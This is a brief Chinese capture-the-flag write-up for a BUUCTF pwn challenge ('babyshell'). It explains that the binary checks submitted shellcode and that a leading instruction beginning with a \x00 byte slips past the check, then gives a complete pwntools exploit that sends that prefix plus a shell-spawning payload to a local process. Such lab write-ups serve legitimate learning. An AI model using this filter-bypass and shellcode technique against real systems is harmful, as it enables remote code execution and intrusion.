[BUUCTF]-PWN:starctf

小明 2025-05-09 02:52:54 5

���看保护

查看ida

这里就是要输入shellcode,但是函数会有检测。

在shellcode前面构造一个以\x00机器码开头的汇编指令,这样就可以绕过函数检查了。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
p=process('./babyshell')
shellcode=b'\x00\x42\x00'+asm(shellcraft.sh())
p.sendafter(b'give me shellcode, plz:',shellcode)
p.interactive()
The End
微信